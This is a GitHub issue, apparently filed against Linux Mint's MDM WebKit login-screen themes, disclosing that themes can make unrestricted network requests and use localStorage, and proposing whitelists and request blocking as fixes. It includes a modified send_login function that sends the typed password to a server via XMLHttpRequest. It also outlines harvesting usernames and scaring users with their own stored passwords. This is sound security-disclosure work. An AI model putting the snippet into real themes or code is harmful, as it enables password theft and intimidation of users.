Skip to content
This repository was archived by the owner on Dec 8, 2024. It is now read-only.
This repository was archived by the owner on Dec 8, 2024. It is now read-only.

Security concerns regrading the Webkit login screen #177

@xweque

Description

@xweque

Background

It's been known to me now for quite some time that the Linux Mint login screen supported themes written in HTML although I always believed this engine to be restrictive in many ways, due to the very sensitive nature of a login screen. As I just recently started working on my own theme I have discovered several major concerns that could not only lead to private information being leaked such as names, usernames and passwords but themes written with malicious intent could fake system control and ultimately scare a user into submitting to his demands.

My discoveries will be described below and where I found solutions they will be documented to the best of my ability. I do however want to make it clear that I am not a developer, just your average tinkerer. I have good knowledge in web development however my programming skills are lacking and therefore my solutions may be faulty and/or lacking.

For reference I am using Linux Mint 17.2 with Cinnamon 2.6.13.

Privacy

The fact that AJAX requests are allowed without any form of restrictions poses a huge risk to user privacy. Below follows a few examples of data that can EASILY be stolen without a users knowledge.

Stealing passwords

Anyone with even the most basic of Javascript knowledge can modify an existing theme to submit the users password to any server. All that is needed is a request being sent when the user enters their password. After the request is successfully sent you can proceed as usual and the user is non the wiser.

I have successfully implemented this in the Mint-X theme. I used my own dedicated server, not my computer and therefore not localhost, in my actual test. All I needed was to add a few lines to the send_login function as shown below.

...
// Sends the user input to MDM
function send_login() {
    // read the value before we disable the field, as it will be changed to "disabled"
    var value = document.getElementById("entry").value;
    mdm_disable();
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4) {
            alert("LOGIN###" + value);
        }
    };
    xhttp.open("GET", "http://localhost/storePass/?pw=" + value, true);
    xhttp.send();
    return false;
}
...

Stealing usernames and GECOS

Using the mdm_add_user function called by MDM any theme can collect all users and chosen names for those users. The theme only needs to be run by MDM for the information to be compromised. The data can then be sent to a server just like the previous example.

Solution

Require all themes wanting to make external requests to have a whitelist.[json,xml,txt,...] containing the domains and IP addresses they may want to reach out to and have the user accept this as they select the theme. Also allow a user to block individual requests, cause why not. (Like block facebook.com requests but not google.com requests etc).

5 minutes of Googling gave me resource-request-starting that would allow you to intercept and cancel any requests made by the theme. Again not my field but just a suggestion.

False system control

Some may find this to be a non-issue as it doesn't actually compromise any data however appearances may cause just as much harm.

LocalStorage

Currently HTML5 localStorage, and I assume cookies, are enabled. Any theme can store the user data such as passwords locally, to be used by the theme at a later time. I'm sure you can think of more and perhaps worse things yourself, but a simple method of attacking a user would be to simply claim that you have control over their system. If you present to them their username and their password any claims of encrypted files or hacked accounts starts to seem highly likely. Many people use the same password for multiple if not all of their various accounts.

Solution

LocalStorage is a wonderful feature which we shouldn't disable however we cannot allow it to store sensitive data such as passwords. I have not yet found a solution that would be worth the effort and that doesn't have simple workarounds. This however isn't as pressing of an issue in my opinion.

As a side note I just want to ask, as I have not been able to find this out myself, where is the localStorage data stored? Is the data stored in plain text? Is it owned by root or the user? Is it readable by anyone?

Conclusion

Above I describe issues which I demand someone other than myself to solve. I claim little knowledge in the field and I offer to a open source, community based project nothing more than suggestions and complaints. What I need for you to understand is that I expect nothing but what was promised. I don't expect to be able to write a login screen with HTML. I expect what I was promised when I downloaded Linux Mint.

It's safe and reliable. Thanks to a conservative approach to software updates, a unique Update Manager and the robustness of its Linux architecture, Linux Mint requires very little maintenance (no regressions, no antivirus, no anti-spyware...etc).

Please consider implementing improvements to the security of the MDMWebkit package. I would much rather this feature be disabled if the security is not on par with the rest of the Linux distribution.

Sincerely, Viktor Wahlberg, Mint user and Linux enthusiast.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions